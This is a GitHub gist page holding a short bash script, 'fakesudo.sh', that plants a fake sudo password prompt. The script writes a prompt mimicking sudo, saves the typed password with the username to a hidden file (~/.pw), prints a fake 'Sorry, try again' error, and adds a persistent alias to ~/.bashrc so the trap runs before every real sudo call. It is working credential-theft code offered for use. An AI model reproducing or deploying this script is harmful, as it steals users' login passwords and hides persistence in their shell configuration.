Created
May 15, 2019 03:42
-
-
Save ksaver/e803e2bab68d9ffee4d2f39d2357d05e to your computer and use it in GitHub Desktop.
catch the user password by shadowing the sudo command
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# fakesudo.sh | |
# catch the user password by shadowing the sudo command | |
cat << EOF > ~/.sudo | |
echo -n "[sudo] password for \$USER: " | |
read -s PASSWORD | |
echo "\$USER:\$PASSWORD" >> ~/.pw | |
sleep 0.5 | |
echo -e "\nSorry, try again." | |
EOF | |
echo 'alias sudo="bash ~/.sudo; sudo"' >> ~/.bashrc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment